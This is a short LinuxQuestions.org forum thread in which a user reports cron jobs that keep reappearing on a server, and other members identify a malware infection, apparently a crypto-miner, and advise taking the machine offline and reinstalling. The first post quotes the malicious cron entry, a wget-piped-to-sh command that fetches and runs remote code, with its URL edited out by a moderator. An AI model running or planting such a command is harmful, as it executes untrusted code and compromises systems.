LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - Newbie (https://www.linuxquestions.org/questions/linux-newbie-8/)
-   -   Unnecessary cronjobs are enabling. (https://www.linuxquestions.org/questions/linux-newbie-8/unnecessary-cronjobs-are-enabling-4175621119/)

bandreddyteja 01-06-2018 09:39 PM

Unnecessary cronjobs are enabling.
 
Hi,

In Linux server some unnecessary cronjobs are creating and enabling by itself ,even after deleting those jobs its getting created after sometime,because of this some other .sh services
running in machine are halting automatically.Please help me out to resolve this.
I wanna know is there anything to force disable cronjobs automatically.
EX:* * * * * wget -q edited out -O - | sh

keefaz 01-06-2018 09:52 PM

Look like some malicious code running in your server...
Depending on your distribution, stopping cron could be commanded with 'service cron stop'
or more generally 'killall crond'
And after that, investigate this issue...

astrogeek 01-06-2018 10:36 PM

The example given by the OP will download and execute malware on your computer - DO NOT COPY PASTE!

@bandreddyteja: Please edit the link in that post to remove the actual URL as it will propagate malware to anyone who runs it!

Your server has been compromised by that script to replace many common executables on your system - it is toast and cannot be cleaned up by normal means! If that machine is connected to the internet please do yourself and everyone else a favor and take it offline immediately!

Disabling cron jobs will not stop the running processses or clean the system.

Among other things, it is hijacking your server and everyone it propagates to, and turning them into crypto-currency miners... please turn it off - now.

Unless you have knowledgable support people with physical access to that machine it is very doubtful that it an be cleaned up. You will almost certainly need to start fresh and restore your data from you known good backups.

Mara 01-07-2018 05:56 AM

Moderator note: edited out the link

Agree with astrogeek. The machine will likely require a restore and/or reinstall. By all means do not propagate this script to other systems.


All times are GMT -5. The time now is 05:44 PM.